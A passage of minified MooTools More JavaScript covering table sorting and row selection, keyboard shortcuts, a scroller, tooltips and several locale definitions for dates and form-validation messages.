},this).clean());if(!b.length){return;}if(a){b.addClass(this.options.classHeadSort);if(this.sorted.reverse){b.addClass(this.options.classHeadSortRev);}else{b.removeClass(this.options.classHeadSortRev);
}}else{b.removeClass(this.options.classHeadSort).removeClass(this.options.classHeadSortRev);}},setRowSort:function(b,a){var e=b.length,d=this.body,g,f;
while(e){var h=b[--e],c=h.position,i=d.rows[c];if(i.disabled){continue;}if(!a){g=this.setGroupSort(g,i,h);this.setRowStyle(i,e);}d.appendChild(i);for(f=0;
f<e;f++){if(b[f].position>c){b[f].position--;}}}},setRowStyle:function(b,a){this.previous(b,a);b.cells[this.sorted.index].addClass(this.options.classCellSort);
},setGroupSort:function(b,c,a){if(b==a.value){c.removeClass(this.options.classGroupHead).addClass(this.options.classGroup);}else{c.removeClass(this.options.classGroup).addClass(this.options.classGroupHead);
}return a.value;},getParser:function(){var a=this.parsers[this.sorted.index];return typeOf(a)=="string"?HtmlTable.Parsers[a]:a;},sort:function(c,b,e){if(!this.head){return;
}if(!e){this.clearSort();this.setSortedState(c,b);this.setHeadSort(true);}var f=this.getParser();if(!f){return;}var a;if(!Browser.ie){a=this.body.getParent();
this.body.dispose();}var d=this.parseData(f).sort(function(h,g){if(h.value===g.value){return 0;}return h.value>g.value?1:-1;});if(this.sorted.reverse==(f==HtmlTable.Parsers["input-checked"])){d.reverse(true);
}this.setRowSort(d,e);if(a){a.grab(this.body);}this.fireEvent("stateChanged");return this.fireEvent("sort",[this.body,this.sorted.index]);},parseData:function(a){return Array.map(this.body.rows,function(d,b){var c=a.convert.call(document.id(d.cells[this.sorted.index]));
return{position:b,value:c};},this);},clearSort:function(){this.setHeadSort(false);this.body.getElements("td").removeClass(this.options.classCellSort);},reSort:function(){if(this.sortEnabled){this.sort.call(this,this.sorted.index,this.sorted.reverse);
}return this;},enableSort:function(){this.element.addClass(this.options.classSortable);this.attachSorts(true);this.setParsers();this.sortEnabled=true;return this;
},disableSort:function(){this.element.removeClass(this.options.classSortable);this.attachSorts(false);this.sortSpans.each(function(a){a.destroy();});this.sortSpans.empty();
this.sortEnabled=false;return this;}});HtmlTable.ParserPriority=["date","input-checked","input-value","float","number"];HtmlTable.Parsers={date:{match:/^\d{2}[-\/ ]\d{2}[-\/ ]\d{2,4}$/,convert:function(){var a=Date.parse(this.get("text").stripTags());
return(typeOf(a)=="date")?a.format("db"):"";},type:"date"},"input-checked":{match:/ type="(radio|checkbox)" /,convert:function(){return this.getElement("input").checked;
}},"input-value":{match:/<input/,convert:function(){return this.getElement("input").value;}},number:{match:/^\d+[^\d.,]*$/,convert:function(){return this.get("text").stripTags().toInt();
},number:true},numberLax:{match:/^[^\d]+\d+$/,convert:function(){return this.get("text").replace(/[^-?^0-9]/,"").stripTags().toInt();},number:true},"float":{match:/^[\d]+\.[\d]+/,convert:function(){return this.get("text").replace(/[^-?^\d.]/,"").stripTags().toFloat();
},number:true},floatLax:{match:/^[^\d]+[\d]+\.[\d]+$/,convert:function(){return this.get("text").replace(/[^-?^\d.]/,"").stripTags();},number:true},string:{match:null,convert:function(){return this.get("text").stripTags().toLowerCase();
}},title:{match:null,convert:function(){return this.title;}}};HtmlTable.defineParsers=function(a){HtmlTable.Parsers=Object.append(HtmlTable.Parsers,a);
for(var b in a){HtmlTable.ParserPriority.unshift(b);}};(function(){var a=this.Keyboard=new Class({Extends:Events,Implements:[Options],options:{defaultEventType:"keydown",active:false,manager:null,events:{},nonParsedEvents:["activate","deactivate","onactivate","ondeactivate","changed","onchanged"]},initialize:function(f){if(f&&f.manager){this._manager=f.manager;
delete f.manager;}this.setOptions(f);this._setup();},addEvent:function(h,g,f){return this.parent(a.parse(h,this.options.defaultEventType,this.options.nonParsedEvents),g,f);
},removeEvent:function(g,f){return this.parent(a.parse(g,this.options.defaultEventType,this.options.nonParsedEvents),f);},toggleActive:function(){return this[this.isActive()?"deactivate":"activate"]();
},activate:function(f){if(f){if(f.isActive()){return this;}if(this._activeKB&&f!=this._activeKB){this.previous=this._activeKB;this.previous.fireEvent("deactivate");
}this._activeKB=f.fireEvent("activate");a.manager.fireEvent("changed");}else{if(this._manager){this._manager.activate(this);}}return this;},isActive:function(){return this._manager?(this._manager._activeKB==this):(a.manager==this);
},deactivate:function(f){if(f){if(f===this._activeKB){this._activeKB=null;f.fireEvent("deactivate");a.manager.fireEvent("changed");}}else{if(this._manager){this._manager.deactivate(this);
}}return this;},relinquish:function(){if(this.isActive()&&this._manager&&this._manager.previous){this._manager.activate(this._manager.previous);}else{this.deactivate();
}return this;},manage:function(f){if(f._manager){f._manager.drop(f);}this._instances.push(f);f._manager=this;if(!this._activeKB){this.activate(f);}return this;
},drop:function(f){f.relinquish();this._instances.erase(f);if(this._activeKB==f){if(this.previous&&this._instances.contains(this.previous)){this.activate(this.previous);
}else{this._activeKB=this._instances[0];}}return this;},trace:function(){a.trace(this);},each:function(f){a.each(this,f);},_instances:[],_disable:function(f){if(this._activeKB==f){this._activeKB=null;
}},_setup:function(){this.addEvents(this.options.events);if(a.manager&&!this._manager){a.manager.manage(this);}if(this.options.active){this.activate();
}else{this.relinquish();}},_handle:function(h,g){if(h.preventKeyboardPropagation){return;}var f=!!this._manager;if(f&&this._activeKB){this._activeKB._handle(h,g);
if(h.preventKeyboardPropagation){return;}}this.fireEvent(g,h);if(!f&&this._activeKB){this._activeKB._handle(h,g);}}});var b={};var c=["shift","control","alt","meta"];
var e=/^(?:shift|control|ctrl|alt|meta)$/;a.parse=function(h,g,k){if(k&&k.contains(h.toLowerCase())){return h;}h=h.toLowerCase().replace(/^(keyup|keydown):/,function(m,l){g=l;
return"";});if(!b[h]){var f,j={};h.split("+").each(function(l){if(e.test(l)){j[l]=true;}else{f=l;}});j.control=j.control||j.ctrl;var i=[];c.each(function(l){if(j[l]){i.push(l);
}});if(f){i.push(f);}b[h]=i.join("+");}return g+":keys("+b[h]+")";};a.each=function(f,g){var h=f||a.manager;while(h){g.run(h);h=h._activeKB;}};a.stop=function(f){f.preventKeyboardPropagation=true;
};a.manager=new a({active:true});a.trace=function(f){f=f||a.manager;var g=window.console&&console.log;if(g){console.log("the following items have focus: ");
}a.each(f,function(h){if(g){console.log(document.id(h.widget)||h.wiget||h);}});};var d=function(g){var f=[];c.each(function(h){if(g[h]){f.push(h);}});if(!e.test(g.key)){f.push(g.key);
}a.manager._handle(g,g.type+":keys("+f.join("+")+")");};document.addEvents({keyup:d,keydown:d});})();Keyboard.prototype.options.nonParsedEvents.combine(["rebound","onrebound"]);
Keyboard.implement({addShortcut:function(b,a){this._shortcuts=this._shortcuts||[];this._shortcutIndex=this._shortcutIndex||{};a.getKeyboard=Function.from(this);
a.name=b;this._shortcutIndex[b]=a;this._shortcuts.push(a);if(a.keys){this.addEvent(a.keys,a.handler);}return this;},addShortcuts:function(b){for(var a in b){this.addShortcut(a,b[a]);
}return this;},removeShortcut:function(b){var a=this.getShortcut(b);if(a&&a.keys){this.removeEvent(a.keys,a.handler);delete this._shortcutIndex[b];this._shortcuts.erase(a);
}return this;},removeShortcuts:function(a){a.each(this.removeShortcut,this);return this;},getShortcuts:function(){return this._shortcuts||[];},getShortcut:function(a){return(this._shortcutIndex||{})[a];
}});Keyboard.rebind=function(b,a){Array.from(a).each(function(c){c.getKeyboard().removeEvent(c.keys,c.handler);c.getKeyboard().addEvent(b,c.handler);c.keys=b;
c.getKeyboard().fireEvent("rebound");});};Keyboard.getActiveShortcuts=function(b){var a=[],c=[];Keyboard.each(b,[].push.bind(a));a.each(function(d){c.extend(d.getShortcuts());
});return c;};Keyboard.getShortcut=function(c,b,d){d=d||{};var a=d.many?[]:null,e=d.many?function(g){var f=g.getShortcut(c);if(f){a.push(f);}}:function(f){if(!a){a=f.getShortcut(c);
}};Keyboard.each(b,e);return a;};Keyboard.getShortcuts=function(b,a){return Keyboard.getShortcut(b,a,{many:true});};HtmlTable=Class.refactor(HtmlTable,{options:{useKeyboard:true,classRowSelected:"table-tr-selected",classRowHovered:"table-tr-hovered",classSelectable:"table-selectable",shiftForMultiSelect:true,allowMultiSelect:true,selectable:false,selectHiddenRows:false},initialize:function(){this.previous.apply(this,arguments);
if(this.occluded){return this.occluded;}this.selectedRows=new Elements();if(!this.bound){this.bound={};}this.bound.mouseleave=this.mouseleave.bind(this);
this.bound.clickRow=this.clickRow.bind(this);this.bound.activateKeyboard=function(){if(this.keyboard&&this.selectEnabled){this.keyboard.activate();}}.bind(this);
if(this.options.selectable){this.enableSelect();}},empty:function(){this.selectNone();return this.previous();},enableSelect:function(){this.selectEnabled=true;
this.attachSelects();this.element.addClass(this.options.classSelectable);return this;},disableSelect:function(){this.selectEnabled=false;this.attachSelects(false);
this.element.removeClass(this.options.classSelectable);return this;},push:function(){var a=this.previous.apply(this,arguments);this.updateSelects();return a;
},toggleRow:function(a){return this[(this.isSelected(a)?"de":"")+"selectRow"](a);},selectRow:function(b,a){if(this.isSelected(b)||(!a&&!this.body.getChildren().contains(b))){return;
}if(!this.options.allowMultiSelect){this.selectNone();}if(!this.isSelected(b)){this.selectedRows.push(b);b.addClass(this.options.classRowSelected);this.fireEvent("rowFocus",[b,this.selectedRows]);
this.fireEvent("stateChanged");}this.focused=b;document.clearSelection();return this;},isSelected:function(a){return this.selectedRows.contains(a);},getSelected:function(){return this.selectedRows;
},getSelected:function(){return this.selectedRows;},serialize:function(){var a=this.previous.apply(this,arguments)||{};if(this.options.selectable){a.selectedRows=this.selectedRows.map(function(b){return Array.indexOf(this.body.rows,b);
}.bind(this));}return a;},restore:function(a){if(this.options.selectable&&a.selectedRows){a.selectedRows.each(function(b){this.selectRow(this.body.rows[b]);
}.bind(this));}this.previous.apply(this,arguments);},deselectRow:function(b,a){if(!this.isSelected(b)||(!a&&!this.body.getChildren().contains(b))){return;
}this.selectedRows=new Elements(Array.from(this.selectedRows).erase(b));b.removeClass(this.options.classRowSelected);this.fireEvent("rowUnfocus",[b,this.selectedRows]);
this.fireEvent("stateChanged");return this;},selectAll:function(a){if(!a&&!this.options.allowMultiSelect){return;}this.selectRange(0,this.body.rows.length,a);
return this;},selectNone:function(){return this.selectAll(true);},selectRange:function(b,a,f){if(!this.options.allowMultiSelect&&!f){return;}var g=f?"deselectRow":"selectRow",e=Array.clone(this.body.rows);
if(typeOf(b)=="element"){b=e.indexOf(b);}if(typeOf(a)=="element"){a=e.indexOf(a);}a=a<e.length-1?a:e.length-1;if(a<b){var d=b;b=a;a=d;}for(var c=b;c<=a;
c++){if(this.options.selectHiddenRows||e[c].isDisplayed()){this[g](e[c],true);}}return this;},deselectRange:function(b,a){this.selectRange(b,a,true);},getSelected:function(){return this.selectedRows;
},enterRow:function(a){if(this.hovered){this.hovered=this.leaveRow(this.hovered);}this.hovered=a.addClass(this.options.classRowHovered);},leaveRow:function(a){a.removeClass(this.options.classRowHovered);
},updateSelects:function(){Array.each(this.body.rows,function(a){var b=a.retrieve("binders");if(!b&&!this.selectEnabled){return;}if(!b){b={mouseenter:this.enterRow.pass([a],this),mouseleave:this.leaveRow.pass([a],this)};
a.store("binders",b);}if(this.selectEnabled){a.addEvents(b);}else{a.removeEvents(b);}},this);},shiftFocus:function(b,a){if(!this.focused){return this.selectRow(this.body.rows[0],a);
}var c=this.getRowByOffset(b,this.options.selectHiddenRows);if(c===null||this.focused==this.body.rows[c]){return this;}this.toggleRow(this.body.rows[c],a);
},clickRow:function(a,b){var c=(a.shift||a.meta||a.control)&&this.options.shiftForMultiSelect;if(!c&&!(a.rightClick&&this.isSelected(b)&&this.options.allowMultiSelect)){this.selectNone();
}if(a.rightClick){this.selectRow(b);}else{this.toggleRow(b);}if(a.shift){this.selectRange(this.rangeStart||this.body.rows[0],b,this.rangeStart?!this.isSelected(b):true);
this.focused=b;}this.rangeStart=b;},getRowByOffset:function(e,d){if(!this.focused){return 0;}var b=Array.indexOf(this.body.rows,this.focused);if((b==0&&e<0)||(b==this.body.rows.length-1&&e>0)){return null;
}if(d){b+=e;}else{var a=0,c=0;if(e>0){while(c<e&&b<this.body.rows.length-1){if(this.body.rows[++b].isDisplayed()){c++;}}}else{while(c>e&&b>0){if(this.body.rows[--b].isDisplayed()){c--;
}}}}return b;},attachSelects:function(d){d=d!=null?d:true;var g=d?"addEvents":"removeEvents";this.element[g]({mouseleave:this.bound.mouseleave,click:this.bound.activateKeyboard});
this.body[g]({"click:relay(tr)":this.bound.clickRow,"contextmenu:relay(tr)":this.bound.clickRow});if(this.options.useKeyboard||this.keyboard){if(!this.keyboard){this.keyboard=new Keyboard();
}if(!this.selectKeysDefined){this.selectKeysDefined=true;var f,e;var c=function(i){var h=function(j){clearTimeout(f);j.preventDefault();var k=this.body.rows[this.getRowByOffset(i,this.options.selectHiddenRows)];
if(j.shift&&k&&this.isSelected(k)){this.deselectRow(this.focused);this.focused=k;}else{if(k&&(!this.options.allowMultiSelect||!j.shift)){this.selectNone();
}this.shiftFocus(i,j);}if(e){f=h.delay(100,this,j);}else{f=(function(){e=true;h(j);}).delay(400);}}.bind(this);return h;}.bind(this);var b=function(){clearTimeout(f);
e=false;};this.keyboard.addEvents({"keydown:shift+up":c(-1),"keydown:shift+down":c(1),"keyup:shift+up":b,"keyup:shift+down":b,"keyup:up":b,"keyup:down":b});
var a="";if(this.options.allowMultiSelect&&this.options.shiftForMultiSelect&&this.options.useKeyboard){a=" (Shift multi-selects).";}this.keyboard.addShortcuts({"Select Previous Row":{keys:"up",shortcut:"up arrow",handler:c(-1),description:"Select the previous row in the table."+a},"Select Next Row":{keys:"down",shortcut:"down arrow",handler:c(1),description:"Select the next row in the table."+a}});
}this.keyboard[d?"activate":"deactivate"]();}this.updateSelects();},mouseleave:function(){if(this.hovered){this.leaveRow(this.hovered);}}});var Scroller=new Class({Implements:[Events,Options],options:{area:20,velocity:1,onChange:function(a,b){this.element.scrollTo(a,b);
},fps:50},initialize:function(b,a){this.setOptions(a);this.element=document.id(b);this.docBody=document.id(this.element.getDocument().body);this.listener=(typeOf(this.element)!="element")?this.docBody:this.element;
this.timer=null;this.bound={attach:this.attach.bind(this),detach:this.detach.bind(this),getCoords:this.getCoords.bind(this)};},start:function(){this.listener.addEvents({mouseover:this.bound.attach,mouseleave:this.bound.detach});
return this;},stop:function(){this.listener.removeEvents({mouseover:this.bound.attach,mouseleave:this.bound.detach});this.detach();this.timer=clearInterval(this.timer);
return this;},attach:function(){this.listener.addEvent("mousemove",this.bound.getCoords);},detach:function(){this.listener.removeEvent("mousemove",this.bound.getCoords);
this.timer=clearInterval(this.timer);},getCoords:function(a){this.page=(this.listener.get("tag")=="body")?a.client:a.page;if(!this.timer){this.timer=this.scroll.periodical(Math.round(1000/this.options.fps),this);
}},scroll:function(){var c=this.element.getSize(),a=this.element.getScroll(),h=this.element!=this.docBody?this.element.getOffsets():{x:0,y:0},d=this.element.getScrollSize(),g={x:0,y:0},e=this.options.area.top||this.options.area,b=this.options.area.bottom||this.options.area;
for(var f in this.page){if(this.page[f]<(e+h[f])&&a[f]!=0){g[f]=(this.page[f]-e-h[f])*this.options.velocity;}else{if(this.page[f]+b>(c[f]+h[f])&&a[f]+c[f]!=d[f]){g[f]=(this.page[f]-c[f]+b-h[f])*this.options.velocity;
}}g[f]=g[f].round();}if(g.y||g.x){this.fireEvent("change",[a.x+g.x,a.y+g.y]);}}});(function(){var a=function(c,b){return(c)?(typeOf(c)=="function"?c(b):b.get(c)):"";
};this.Tips=new Class({Implements:[Events,Options],options:{onShow:function(){this.tip.setStyle("display","block");},onHide:function(){this.tip.setStyle("display","none");
},title:"title",text:function(b){return b.get("rel")||b.get("href");},showDelay:100,hideDelay:100,className:"tip-wrap",offset:{x:16,y:16},windowPadding:{x:0,y:0},fixed:false,waiAria:true},initialize:function(){var b=Array.link(arguments,{options:Type.isObject,elements:function(c){return c!=null;
}});this.setOptions(b.options);if(b.elements){this.attach(b.elements);}this.container=new Element("div",{"class":"tip"});if(this.options.id){this.container.set("id",this.options.id);
if(this.options.waiAria){this.attachWaiAria();}}},toElement:function(){if(this.tip){return this.tip;}this.tip=new Element("div",{"class":this.options.className,styles:{position:"absolute",top:0,left:0}}).adopt(new Element("div",{"class":"tip-top"}),this.container,new Element("div",{"class":"tip-bottom"}));
return this.tip;},attachWaiAria:function(){var b=this.options.id;this.container.set("role","tooltip");if(!this.waiAria){this.waiAria={show:function(c){if(b){c.set("aria-describedby",b);
}this.container.set("aria-hidden","false");},hide:function(c){if(b){c.erase("aria-describedby");}this.container.set("aria-hidden","true");}};}this.addEvents(this.waiAria);
},detachWaiAria:function(){if(this.waiAria){this.container.erase("role");this.container.erase("aria-hidden");this.removeEvents(this.waiAria);}},attach:function(b){$$(b).each(function(d){var f=a(this.options.title,d),e=a(this.options.text,d);
d.set("title","").store("tip:native",f).retrieve("tip:title",f);d.retrieve("tip:text",e);this.fireEvent("attach",[d]);var c=["enter","leave"];if(!this.options.fixed){c.push("move");
}c.each(function(h){var g=d.retrieve("tip:"+h);if(!g){g=function(i){this["element"+h.capitalize()].apply(this,[i,d]);}.bind(this);}d.store("tip:"+h,g).addEvent("mouse"+h,g);
},this);},this);return this;},detach:function(b){$$(b).each(function(d){["enter","leave","move"].each(function(e){d.removeEvent("mouse"+e,d.retrieve("tip:"+e)).eliminate("tip:"+e);
});this.fireEvent("detach",[d]);if(this.options.title=="title"){var c=d.retrieve("tip:native");if(c){d.set("title",c);}}},this);return this;},elementEnter:function(c,b){clearTimeout(this.timer);
this.timer=(function(){this.container.empty();["title","text"].each(function(e){var d=b.retrieve("tip:"+e);var f=this["_"+e+"Element"]=new Element("div",{"class":"tip-"+e}).inject(this.container);
if(d){this.fill(f,d);}},this);this.show(b);this.position((this.options.fixed)?{page:b.getPosition()}:c);}).delay(this.options.showDelay,this);},elementLeave:function(c,b){clearTimeout(this.timer);
this.timer=this.hide.delay(this.options.hideDelay,this,b);this.fireForParent(c,b);},setTitle:function(b){if(this._titleElement){this._titleElement.empty();
this.fill(this._titleElement,b);}return this;},setText:function(b){if(this._textElement){this._textElement.empty();this.fill(this._textElement,b);}return this;
},fireForParent:function(c,b){b=b.getParent();if(!b||b==document.body){return;}if(b.retrieve("tip:enter")){b.fireEvent("mouseenter",c);}else{this.fireForParent(c,b);
}},elementMove:function(c,b){this.position(c);},position:function(f){if(!this.tip){document.id(this);}var c=window.getSize(),b=window.getScroll(),g={x:this.tip.offsetWidth,y:this.tip.offsetHeight},d={x:"left",y:"top"},e={y:false,x2:false,y2:false,x:false},h={};
for(var i in d){h[d[i]]=f.page[i]+this.options.offset[i];if(h[d[i]]<0){e[i]=true;}if((h[d[i]]+g[i]-b[i])>c[i]-this.options.windowPadding[i]){h[d[i]]=f.page[i]-this.options.offset[i]-g[i];
e[i+"2"]=true;}}this.fireEvent("bound",e);this.tip.setStyles(h);},fill:function(b,c){if(typeof c=="string"){b.set("html",c);}else{b.adopt(c);}},show:function(b){if(!this.tip){document.id(this);
}if(!this.tip.getParent()){this.tip.inject(document.body);}this.fireEvent("show",[this.tip,b]);},hide:function(b){if(!this.tip){document.id(this);}this.fireEvent("hide",[this.tip,b]);
}});})();(function(){var a={json:JSON.decode};Locale.Set.defineParser=function(b,c){a[b]=c;};Locale.Set.from=function(d,c){if(instanceOf(d,Locale.Set)){return d;
}if(!c&&typeOf(d)=="string"){c="json";}if(a[c]){d=a[c](d);}var b=new Locale.Set;b.sets=d.sets||{};if(d.inherits){b.inherits.locales=Array.from(d.inherits.locales);
b.inherits.sets=d.inherits.sets||{};}return b;};})();Locale.define("ar","Date",{dateOrder:["date","month","year"],shortDate:"%d/%m/%Y",shortTime:"%H:%M"});
Locale.define("ar","FormValidator",{required:"هذا الحقل مطلوب.",minLength:"رجاءً إدخال {minLength} أحرف على الأقل (تم إدخال {length} أحرف).",maxLength:"الرجاء عدم إدخال أكثر من {maxLength} أحرف (تم إدخال {length} أحرف).",integer:"الرجاء إدخال عدد صحيح في هذا الحقل. أي رقم ذو كسر عشري أو مئوي (مثال 1.25 ) غير مسموح.",numeric:'الرجاء إدخال قيم رقمية في هذا الحقل (مثال "1" أو "1.1" أو "-1" أو "-1.1").',digits:"الرجاء أستخدام قيم رقمية وعلامات ترقيمية فقط في هذا الحقل (مثال, رقم هاتف مع نقطة أو شحطة)",alpha:"الرجاء أستخدام أحرف فقط (ا-ي) في هذا الحقل. أي فراغات أو علامات غير مسموحة.",alphanum:"الرجاء أستخدام أحرف فقط (ا-ي) أو أرقام (0-9) فقط في هذا الحقل. أي فراغات أو علامات غير مسموحة.",dateSuchAs:"الرجاء إدخال تاريخ صحيح كالتالي {date}",dateInFormatMDY:"الرجاء إدخال تاريخ صحيح (مثال, 31-12-1999)",email:"الرجاء إدخال بريد إلكتروني صحيح.",url:"الرجاء إدخال عنوان إلكتروني صحيح مثل http://www.example.com",currencyDollar:"الرجاء إدخال قيمة $ صحيحة. مثال, 100.00$",oneRequired:"الرجاء إدخال قيمة في أحد هذه الحقول على الأقل.",errorPrefix:"خطأ: ",warningPrefix:"تحذير: "});
Locale.define("ca-CA","Date",{months:["Gener","Febrer","Març","Abril","Maig","Juny","Juli","Agost","Setembre","Octubre","Novembre","Desembre"],months_abbr:["gen.","febr.","març","abr.","maig","juny","jul.","ag.","set.","oct.","nov.","des."],days:["Diumenge","Dilluns","Dimarts","Dimecres","Dijous","Divendres","Dissabte"],days_abbr:["dg","dl","dt","dc","dj","dv","ds"],dateOrder:["date","month","year"],shortDate:"%d/%m/%Y",shortTime:"%H:%M",AM:"AM",PM:"PM",firstDayOfWeek:0,ordinal:"",lessThanMinuteAgo:"fa menys d`un minut",minuteAgo:"fa un minut",minutesAgo:"fa {delta} minuts",hourAgo:"fa un hora",hoursAgo:"fa unes {delta} hores",dayAgo:"fa un dia",daysAgo:"fa {delta} dies",lessThanMinuteUntil:"menys d`un minut des d`ara",minuteUntil:"un minut des d`ara",minutesUntil:"{delta} minuts des d`ara",hourUntil:"un hora des d`ara",hoursUntil:"unes {delta} hores des d`ara",dayUntil:"1 dia des d`ara",daysUntil:"{delta} dies des d`ara"});
Locale.define("ca-CA","FormValidator",{required:"Aquest camp es obligatori.",minLength:"Per favor introdueix al menys {minLength} caracters (has introduit {length} caracters).",maxLength:"Per favor introdueix no mes de {maxLength} caracters (has introduit {length} caracters).",integer:"Per favor introdueix un nombre enter en aquest camp. Nombres amb decimals (p.e. 1,25) no estan permesos.",numeric:'Per favor introdueix sols valors numerics en aquest camp (p.e. "1" o "1,1" o "-1" o "-1,1").',digits:"Per favor usa sols numeros i puntuacio en aquest camp (per exemple, un nombre de telefon amb guions i punts no esta permes).",alpha:"Per favor utilitza lletres nomes (a-z) en aquest camp. No s´admiteixen espais ni altres caracters.",alphanum:"Per favor, utilitza nomes lletres (a-z) o numeros (0-9) en aquest camp. No s´admiteixen espais ni altres caracters.",dateSuchAs:"Per favor introdueix una data valida com {date}",dateInFormatMDY:'Per favor introdueix una data valida com DD/MM/YYYY (p.e. "31/12/1999")',email:'Per favor, introdueix una adreça de correu electronic valida. Per exemple, "fred@domain.com".',url:"Per favor introdueix una URL valida com http://www.example.com.",currencyDollar:"Per favor introdueix una quantitat valida de €. Per exemple €100,00 .",oneRequired:"Per favor introdueix alguna cosa per al menys una d´aquestes entrades.",errorPrefix:"Error: ",warningPrefix:"Avis: ",noSpace:"No poden haver espais en aquesta entrada.",reqChkByNode:"No hi han elements seleccionats.",requiredChk:"Aquest camp es obligatori.",reqChkByName:"Per favor selecciona una {label}.",match:"Aquest camp necessita coincidir amb el camp {matchName}",startDate:"la data de inici",endDate:"la data de fi",currendDate:"la data actual",afterDate:"La data deu ser igual o posterior a {label}.",beforeDate:"La data deu ser igual o anterior a {label}.",startMonth:"Per favor selecciona un mes d´orige",sameMonth:"Aquestes dos dates deuen estar dins del mateix mes - deus canviar una o altra."});
(function(){var a=function(e,d,c,b){if(e==1){return d;}else{if(e==2||e==3||e==4){return c;}else{return b;}}};Locale.define("cs-CZ","Date",{months:["Leden","Únor","Březen","Duben","Květen","Červen","Červenec","Srpen","Září","Říjen","Listopad","Prosinec"],months_abbr:["ledna","února","března","dubna","května","června","července","srpna","září","října","listopadu","prosince"],days:["Neděle","Pondělí","Úterý","Středa","Čtvrtek","Pátek","Sobota"],days_abbr:["ne","po","út","st","čt","pá","so"],dateOrder:["date","month","year"],shortDate:"%d.%m.%Y",shortTime:"%H:%M",AM:"dop.",PM:"odp.",firstDayOfWeek:1,ordinal:".",lessThanMinuteAgo:"před chvílí",minuteAgo:"přibližně před minutou",minutesAgo:function(b){return"před {delta} "+a(b,"minutou","minutami","minutami");
},hourAgo:"přibližně před hodinou",hoursAgo:function(b){return"před {delta} "+a(b,"hodinou","hodinami","hodinami");},dayAgo:"před dnem",daysAgo:function(b){return"před {delta} "+a(b,"dnem","dny","dny");
},weekAgo:"před týdnem",weeksAgo:function(b){return"před {delta} "+a(b,"týdnem","týdny","týdny");},monthAgo:"před měsícem",monthsAgo:function(b){return"před {delta} "+a(b,"měsícem","měsíci","měsíci");
},yearAgo:"před rokem",yearsAgo:function(b){return"před {delta} "+a(b,"rokem","lety","lety");},lessThanMinuteUntil:"za chvíli",minuteUntil:"přibližně za minutu",minutesUntil:function(b){return"za {delta} "+a(b,"minutu","minuty","minut");
},hourUntil:"přibližně za hodinu",hoursUntil:function(b){return"za {delta} "+a(b,"hodinu","hodiny","hodin");},dayUntil:"za den",daysUntil:function(b){return"za {delta} "+a(b,"den","dny","dnů");
},weekUntil:"za týden",weeksUntil:function(b){return"za {delta} "+a(b,"týden","týdny","týdnů");},monthUntil:"za měsíc",monthsUntil:function(b){return"za {delta} "+a(b,"měsíc","měsíce","měsíců");
},yearUntil:"za rok",yearsUntil:function(b){return"za {delta} "+a(b,"rok","roky","let");}});})();Locale.define("cs-CZ","FormValidator",{required:"Tato položka je povinná.",minLength:"Zadejte prosím alespoň {minLength} znaků (napsáno {length} znaků).",maxLength:"Zadejte prosím méně než {maxLength} znaků (nápsáno {length} znaků).",integer:"Zadejte prosím celé číslo. Desetinná čísla (např. 1.25) nejsou povolena.",numeric:'Zadejte jen číselné hodnoty (tj. "1" nebo "1.1" nebo "-1" nebo "-1.1").',digits:"Zadejte prosím pouze čísla a interpunkční znaménka(například telefonní číslo s pomlčkami nebo tečkami je povoleno).",alpha:"Zadejte prosím pouze písmena (a-z). Mezery nebo jiné znaky nejsou povoleny.",alphanum:"Zadejte prosím pouze písmena (a-z) nebo číslice (0-9). Mezery nebo jiné znaky nejsou povoleny.",dateSuchAs:"Zadejte prosím platné datum jako {date}",dateInFormatMDY:'Zadejte prosím platné datum jako MM / DD / RRRR (tj. "12/31/1999")',email:'Zadejte prosím platnou e-mailovou adresu. Například "fred@domain.com".',url:"Zadejte prosím platnou URL adresu jako http://www.example.com.",currencyDollar:"Zadejte prosím platnou částku. Například $100.00.",oneRequired:"Zadejte prosím alespoň jednu hodnotu pro tyto položky.",errorPrefix:"Chyba: ",warningPrefix:"Upozornění: ",noSpace:"V této položce nejsou povoleny mezery",reqChkByNode:"Nejsou vybrány žádné položky.",requiredChk:"Tato položka je vyžadována.",reqChkByName:"Prosím vyberte {label}.",match:"Tato položka se musí shodovat s položkou {matchName}",startDate:"datum zahájení",endDate:"datum ukončení",currendDate:"aktuální datum",afterDate:"Datum by mělo být stejné nebo větší než {label}.",beforeDate:"Datum by mělo být stejné nebo menší než {label}.",startMonth:"Vyberte počáteční měsíc.",sameMonth:"Tyto dva datumy musí být ve stejném měsíci - změňte jeden z nich.",creditcard:"Zadané číslo kreditní karty je neplatné. Prosím opravte ho. Bylo zadáno {length} čísel."});
Locale.define("da-DK","Date",{months:["Januar","Februar","Marts","April","Maj","Juni","Juli","August","September","Oktober","November","December"],months_abbr:["jan.","feb.","mar.","apr.","maj.","jun.","jul.","aug.","sep.","okt.","nov.","dec."],days:["Søndag","Mandag","Tirsdag","Onsdag","Torsdag","Fredag","Lørdag"],days_abbr:["søn","man","tir","ons","tor","fre","lør"],dateOrder:["date","month","year"],shortDate:"%d-%m-%Y",shortTime:"%H:%M",AM:"AM",PM:"PM",firstDayOfWeek:1,ordinal:".",lessThanMinuteAgo:"mindre end et minut siden",minuteAgo:"omkring et minut siden",minutesAgo:"{delta} minutter siden",hourAgo:"omkring en time siden",hoursAgo:"omkring {delta} timer siden",dayAgo:"1 dag siden",daysAgo:"{delta} dage siden",weekAgo:"1 uge siden",weeksAgo:"{delta} uger siden",monthAgo:"1 måned siden",monthsAgo:"{delta} måneder siden",yearAgo:"1 år siden",yearsAgo:"{delta} år siden",lessThanMinuteUntil:"mindre end et minut fra nu",minuteUntil:"omkring et minut fra nu",minutesUntil:"{delta} minutter fra nu",hourUntil:"omkring en time fra nu",hoursUntil:"omkring {delta} timer fra nu",dayUntil:"1 dag fra nu",daysUntil:"{delta} dage fra nu",weekUntil:"1 uge fra nu",weeksUntil:"{delta} uger fra nu",monthUntil:"1 måned fra nu",monthsUntil:"{delta} måneder fra nu",yearUntil:"1 år fra nu",yearsUntil:"{delta} år fra nu"});
